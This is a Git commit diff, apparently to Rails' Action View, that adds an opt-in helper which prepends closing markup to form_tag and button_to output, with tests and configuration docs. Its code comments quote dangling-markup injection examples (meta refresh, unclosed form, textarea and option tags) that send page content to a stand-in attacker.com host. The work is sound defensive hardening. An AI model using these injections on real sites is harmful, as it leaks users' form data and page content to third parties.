Add additional content exfiltration prevention to form tags

This commit is contained in:
Cameron Dutro 2022-05-23 17:42:56 +00:00 committed by GitHub
parent b24c44159c
commit 59ead5343a
8 changed files with 131 additions and 2 deletions

@ -12,6 +12,7 @@
require "action_view/helpers/asset_url_helper"
require "action_view/helpers/atom_feed_helper"
require "action_view/helpers/cache_helper"
require "action_view/helpers/content_exfiltration_prevention_helper"
require "action_view/helpers/controller_helper"
require "action_view/helpers/csp_helper"
require "action_view/helpers/csrf_helper"
@ -45,6 +46,7 @@ def self.eager_load!
include AtomFeedHelper
include CacheHelper
include CaptureHelper
include ContentExfiltrationPreventionHelper
include ControllerHelper
include CspHelper
include CsrfHelper

@ -0,0 +1,68 @@
# frozen_string_literal: true
module ActionView
module Helpers
module ContentExfiltrationPreventionHelper
mattr_accessor :prepend_content_exfiltration_prevention, default: false
# Close any open attributes before each form tag. This prevents attackers from
# injecting partial tags that could leak markup offsite.
#
# For example, an attacker might inject:
#
# <meta http-equiv="refresh" content='0;URL=https://attacker.com?
#
# The HTML following this tag, up until the next single quote would be sent to
# https://attacker.com. By closing any open attributes, we ensure that form
# contents are never exfiltrated this way.
CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
# Close any open tags that support CDATA (textarea, xmp) before each form tag.
# This prevents attackers from injecting unclosed tags that could capture
# form contents.
#
# For example, an attacker might inject:
#
# <form action="https://attacker.com"><textarea>
#
# The HTML following this tag, up until the next `</textarea>` or the end of
# the document would be captured by the attacker's <textarea>. By closing any
# open textarea tags, we ensure that form contents are never exfiltrated.
CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
# Close any open option tags before each form tag. This prevents attackers
# from injecting unclosed options that could leak markup offsite.
#
# For example, an attacker might inject:
#
# <form action="https://attacker.com"><option>
#
# The HTML following this tag, up until the next `</option>` or the end of
# the document would be captured by the attacker's <option>. By closing any
# open option tags, we ensure that form contents are never exfiltrated.
CLOSE_OPTION_TAG = "</option>".html_safe.freeze
# Close any open form tags before each new form tag. This prevents attackers
# from injecting unclosed forms that could leak markup offsite.
#
# For example, an attacker might inject:
#
# <form action="https://attacker.com">
#
# The form elements following this tag, up until the next `</form>` would be
# captured by the attacker's <form>. By closing any open form tags, we
# ensure that form contents are never exfiltrated.
CLOSE_FORM_TAG = "</form>".html_safe.freeze
CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
def prevent_content_exfiltration(html)
if prepend_content_exfiltration_prevention
CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
else
html
end
end
end
end
end

@ -1,6 +1,7 @@
# frozen_string_literal: true
require "cgi"
require "action_view/helpers/content_exfiltration_prevention_helper"
require "action_view/helpers/url_helper"
require "action_view/helpers/text_helper"
require "active_support/core_ext/string/output_safety"
@ -19,6 +20,7 @@ module FormTagHelper
include UrlHelper
include TextHelper
include ContentExfiltrationPreventionHelper
mattr_accessor :embed_authenticity_token_in_remote_forms
self.embed_authenticity_token_in_remote_forms = nil
@ -955,7 +957,8 @@ def extra_tags_for_form(html_options)
def form_tag_html(html_options)
extra_tags = extra_tags_for_form(html_options)
tag(:form, html_options, true) + extra_tags
html = tag(:form, html_options, true) + extra_tags
prevent_content_exfiltration(html)
end
def form_tag_with_body(html_options, content)

@ -3,6 +3,7 @@
require "active_support/core_ext/array/access"
require "active_support/core_ext/hash/keys"
require "active_support/core_ext/string/output_safety"
require "action_view/helpers/content_exfiltration_prevention_helper"
require "action_view/helpers/tag_helper"
module ActionView
@ -22,6 +23,7 @@ module UrlHelper
extend ActiveSupport::Concern
include TagHelper
include ContentExfiltrationPreventionHelper
module ClassMethods
def _url_for_modules
@ -380,7 +382,8 @@ def button_to(name = nil, options = nil, html_options = nil, &block)
autocomplete: "off")
end
end
content_tag("form", inner_tags, form_options)
html = content_tag("form", inner_tags, form_options)
prevent_content_exfiltration(html)
end
# Creates a link tag of the given +name+ using a URL created by the set of

@ -13,6 +13,7 @@ class Railtie < Rails::Engine # :nodoc:
config.action_view.image_loading = nil
config.action_view.image_decoding = nil
config.action_view.apply_stylesheet_media_default = true
config.action_view.prepend_content_exfiltration_prevention = false
config.eager_load_namespaces << ActionView
@ -40,6 +41,11 @@ class Railtie < Rails::Engine # :nodoc:
end
end
config.after_initialize do |app|
prepend_content_exfiltration_prevention = app.config.action_view.delete(:prepend_content_exfiltration_prevention)
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = prepend_content_exfiltration_prevention
end
config.after_initialize do |app|
button_to_generates_button_tag = app.config.action_view.delete(:button_to_generates_button_tag)
unless button_to_generates_button_tag.nil?

@ -906,6 +906,20 @@ def test_image_label_tag_options_symbolize_keys_side_effects
assert_equal({ option: "random_option" }, options)
end
def test_content_exfiltration_prevention
with_prepend_content_exfiltration_prevention(true) do
actual = form_tag
expected = %(<!-- '"` --><!-- </textarea></xmp> --></option></form>#{whole_form})
assert_dom_equal expected, actual
end
end
def test_form_with_content_exfiltration_prevention_is_html_safe
with_prepend_content_exfiltration_prevention(true) do
assert_equal true, form_tag.html_safe?
end
end
def protect_against_forgery?
false
end
@ -923,4 +937,13 @@ def with_default_enforce_utf8(value)
ensure
ActionView::Helpers::FormTagHelper.default_enforce_utf8 = old_value
end
def with_prepend_content_exfiltration_prevention(value)
old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value
yield
ensure
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value
end
end

@ -402,6 +402,15 @@ def test_button_to_generates_input_when_button_to_generates_button_tag_false
ActionView::Helpers::UrlHelper.button_to_generates_button_tag = old_value
end
def test_button_to_with_content_exfiltration_prevention
with_prepend_content_exfiltration_prevention(true) do
assert_dom_equal(
%{<!-- '"` --><!-- </textarea></xmp> --></option></form><form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>},
button_to("Hello", "http://www.example.com")
)
end
end
class FakeParams
def initialize(permitted = true)
@permitted = permitted
@ -1036,6 +1045,16 @@ def form_authenticity_token(**)
def request_forgery_protection_token
"form_token"
end
private
def with_prepend_content_exfiltration_prevention(value)
old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value
yield
ensure
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value
end
end
class UrlHelperControllerTest < ActionController::TestCase

@ -66,6 +66,7 @@ Below are the default values associated with each target version. In cases of co
- [`config.active_support.default_message_verifier_serializer`](#config-active-support-default-message-verifier-serializer): `:json`
- [`config.action_controller.allow_deprecated_parameters_hash_equality`](#config-action-controller-allow-deprecated-parameters-hash-equality): `false`
- [`config.log_file_size`](#config-log-file-size): `100.megabytes`
- [`config.action_view.prepend_content_exfiltration_prevention`](#config-action_view-prepend-content-exfiltration-prevention): `true`
#### Default Values for Target Version 7.0
@ -1527,6 +1528,10 @@ The default value depends on the `config.load_defaults` target version:
| (original) | `true` |
| 7.0 | `false` |
#### `config.action_view.prepend_content_exfiltration_prevention`
Determines whether or not the `form_tag` and `button_to` helpers will produce HTML tags prepended with browser-safe (but technically invalid) HTML that guarantees their contents cannot be captured by any preceding unclosed tags. The default value is `false`.
### Configuring Action Mailbox
`config.action_mailbox` provides the following configuration options: